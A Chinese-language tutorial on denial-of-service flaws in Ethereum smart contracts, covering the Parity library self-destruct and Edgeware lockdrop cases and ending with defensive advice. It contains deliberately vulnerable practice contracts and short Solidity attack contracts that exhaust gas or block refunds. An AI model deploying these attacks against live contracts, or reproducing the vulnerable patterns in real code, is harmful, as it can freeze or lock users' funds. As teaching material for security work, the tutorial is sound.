智能合约拒绝服务漏洞

0x01 前言

文章首发先知社区

拒绝服务漏洞,简称DOS,是一种旨在破坏正常的服务,使得服务中断或者暂停,导致用户无法访问或者使用服务

同时在智能合约中也可能存在拒绝服务漏洞,使得发生锁币,无法正常竞拍等等现象发生,从而带来恶劣的影响。

0x02 预备知识

本部分简略介绍应该掌握的知识点

  • Send,Transfer
  • Call,Delegatecall,Callcode
  • 函数修饰关键词
  • Require,Revert
  • 合约继承
  • 数组和映射
  • gas费率

0x03 已知漏洞类型

本部分将归纳出现的拒绝服务漏洞类型

  1. 未设定gas费率的外部调用
  2. 依赖外部的调用进展
  3. owner错误操作
  4. 数组或映射过长
  5. 逻辑设计错误
  6. 缺少依赖库

下面将结合简单的示例或真实存在的受害合约进行分析

0x04 未设定gas费率的外部调用

在合约中你可能想要通过call调用去执行某些东西的时候,因为未设定gas费率导致可能发生恶意的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
fallback() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);

function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}

function () payable public {
target.withdraw();
}
}

或者assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了

1
2
3
4
5
6
7
8
9
10
11
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
assert(0==1);
}
}

0x05 依赖外部的调用进展

这类漏洞常见于竞拍的合约当中,你的想法是如果有人出价高于现阶段的价格,就把当前的竞拍者的token退还给他,再去更新竞拍者,殊不知transfer函数执行失败后,亦会使下面的步骤无法执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

fallback() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份,那就把合约的fallback函数不弄成payable就能一直不接受了。当然第一步是先成为King

202107190224

1
2
3
4
5
6
7
8
pragma solidity ^0.4.18;

contract Attacker{
constructor(address target) public payable{
target.call.gas(1000000).value(msg.value)();
}
}
//未定义fallback函数,就没有payable修饰

截屏2021-07-19 14.37.45

0x06 owner错误操作

本类型涉及到函数修饰关键词的使用,owner可以设定合约的当前状态,因为错误的操作使得当前合约的状态设置为不可交易,出现非主观的拒绝服务。将令牌系统理解为股市,有时需要进行休市操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.24;

contract error{
address owner;
bool activestatus;

modifier onlyowner{
require(msg.sender==owner);
_;
}
modifier active{
require(activestatus);
_;
}
function activecontract() onlyowner{
activestatus = true;
}
function inactivecontract() onlyowner{
activestatus = false;
}
function transfer() active{

}

}

如果owner调用了inactivecontract函数,使得activestatus变成false

之后所有被active修饰的函数都无法调用,无法通过require判定

令牌生态系统的整个操作取决于一个地址,这是非常危险的

0x07 数组或映射过长

本类型的漏洞存在于利益分发合约,类似于公司给股东的分红,但是由于以太坊区块有gas费率交易上限,如果数组过大会导致操作执行的gas远远超出上限,从而导致交易失败,也就无法分红

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets

// ... extra functionality, including transfertoken()

function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}

function distribute() public {
require(msg.sender == owner); // only owner
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}

该漏洞的另一个关键点在于循环遍历的数组可以被人为扩充
在distribute()函数中使用的循环数组的扩充在invert()函数里面,但是invert()函数是public属性,也就意味着可以创建很多的用户账户,让数组变得非常大,从而使distribute()函数因为超出以太坊区块gas费率上限而无法成功执行

0x08 依赖库问题

依赖外部的合约库。如果外部合约的库被删除,那么所有依赖库的合约服务都无法使用。有些合约用于接受ether,并转账给其他地址。但是,这些合约本身并没有自己实现一个转账函数,而是通过delegatecall去调用一些其他合约中的转账函数去实现转账的功能。

万一这些提供转账功能的合约执行suicide或self-destruct操作的话,那么,通过delegatecall调用转账功能的合约就有可能发生ether被冻结的情况

Parity 钱包遭受的第二次攻击是一个很好的例子。

Parity 钱包提供了多签钱包的库合约。当库合约的函数被 delegatecall 调用时,它是运行在调用方(即:用户多签合约)的上下文里,像 m_numOwners 这样的变量都来自于用户多签合约的上下文。另外,为了能被用户合约调用,这些库合约的初始化函数都是public的。

库合约本质上也不过是另外一个智能合约,这次攻击调用使用的是库合约本身的上下文,对调用者而言这个库合约是未经初始化的。

攻击流程

1.攻击者调用初始化函数把自己设置为库合约的 owner。

2.攻击者调用 kill() 函数,把库合约删除,所有的 ether 就被冻结了

0x09 逻辑设计错误

本类型漏洞分析Edgeware锁仓合约的拒绝服务漏洞

Edgeware锁仓合约可以理解为你往银行里定期存款,之后会给你收益,关键点在于发送token后要进行lock操作,把你的资金锁起来,暂时无法提现,本类型漏洞会导致参与者lock失败,从而无法获得收益。

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function lock(Term term, bytes calldata edgewareAddr, bool isValidator)
external
payable
didStart
didNotEnd
{
uint256 eth = msg.value;
address owner = msg.sender;
uint256 unlockTime = unlockTimeForTerm(term);
// Create ETH lock contract
Lock lockAddr = (new Lock).value(eth)(owner, unlockTime);
// ensure lock contract has at least all the ETH, or fail
assert(address(lockAddr).balance >= msg.value);
emit Locked(owner, eth, lockAddr, term, edgewareAddr, isValidator, now);
}
1
assert(address(lockAddr).balance >= msg.value);

​ 这段代码做了强制判断:属于参与者的 Lock 合约的金额必须等于参与者锁仓时发送的金额,如果不等于,意味着 lock 失败,这个失败会导致参与者的 Lock 合约“瘫痪”而形成“拒绝服务”,直接后果就是:假如攻击持续着,Edgeware 这个 Lockdrop 机制将不再可用。 但这个漏洞对参与者的资金无影响。那么,什么情况下会导致“address(lockAddr).balance 不等于 msg.value” 攻击者如果能提前推测出参与者的 Lock 合约地址就行(这在以太坊黄皮书里有明确介绍,可以计算出来),此时攻击者只需提前往参与者的 Lock 合约地址随便转点 ETH 就好,就会导致参与者无法lock从而无法获取收益

0x0a 防御措施

  • 未设定gas费率的外部调用

    使用call函数时可以调试出执行操作需要的大致gas费率,在call函数指定稍大一些费率,避免攻击发生。

  • 依赖外部的调用进展

    在竞拍合约中尽量让合约参与者自提参与竞拍的token,其次如果确实需要对外部函数调用的结果进行处理才能进入新的状态,请考虑外部调用可能一直失败的情况,也可以添加基于时间的操作,防止外部函数调用一直无法满足require判断。

  • owner错误操作

    建议设计多个owner地址,避免密钥遗失等问题发生时,导致合约被锁,同时一个综合系统中只有一个绝对权限的管理员是极其不安全的。

  • 数组或映射过长

    避免需要循环操作的数组或映射能够被外部调用,同时在合理的增长过程,可以采用分区块处理的方式,避免数组或映射过大失败。

  • 依赖库问题

    继承库合约后,对于可以改变指智能合约存储状态的函数,尽量采取重写的方式,避免被恶意调用。特别是owner修饰词,转账函数。

  • 逻辑设计错误

    合约正式上链之前一定要进行审计,避免未知的情况发生。特别是判断条件,慎之又慎。之前的有一个案例

    1
    require(msg.sender==owner);require(msg.sender!=owner);

    本应该是上面的写法却写成了下面的代码。